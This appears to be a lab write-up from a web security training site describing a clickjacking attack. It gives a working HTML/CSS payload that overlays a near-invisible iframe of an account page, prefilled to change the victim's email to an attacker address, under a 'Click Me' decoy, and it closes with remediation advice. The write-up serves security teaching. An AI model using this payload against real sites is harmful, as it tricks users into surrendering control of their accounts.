SCENARIO

The application possesses a vulnerability in its login functionality and a delete account button protected by a CSRF token. We will try to craft some HTML that frames the account page and fools the user into changing their account’s email address by clicking on a decoy website’s button.

**PROCEDURE**

1. Open the application and login using the credentials provided to act as a target.
2. Now, as we studied in the article, we will try to craft a malicious HTML with some CSS which will come over the actual page and position itself onto the **Change Email** button and will blur the original content.
3. Due to which the user will think that this is one of the steps of accessing their account and which will cause the user to click the malicious text appearing as a button and below it will be the email change button.
4. Go to the exploit server and paste the payload into the body tag of the exploit and click store and view the exploit in order to see if it’s working correctly.
5. At the end, deliver the exploit to the target.

**PAYLOAD**

<style>

iframe {

position:relative;

width:1000px;

height: 800px;

opacity: .01;

z-index: 2;

}

div {

position:absolute;

top:515px;

left:60px;

z-index: 1;

background-color: blue;

}

</style>

<div>Click Me</div>

<iframe src="https://0a990043041728bf84ab8d5400cd00aa.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

**REMEDIATION**

1. **Same Origin Policy (SOP) Implementation:** Use the X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN HTTP header to restrict the site from being embedded in an iframe by unauthorized origins. This effectively counters clickjacking attempts.
2. **Implement Anti-Clickjacking UI Measures:** Ensure the user must re-enter their password or complete a CAPTCHA before sensitive actions like changing email addresses. This makes it more difficult for attackers to trick users into unintended actions, even if they manage to deceive them once.
3. **Content Security Policy (CSP) Deployment:** Adopt a Content Security Policy (CSP) to prevent unauthorized inline scripts and restrict sources that can embed the application. Utilizing the frame-ancestors directive can be especially useful to specify which sources are allowed to frame the content, defending against iframe abuse.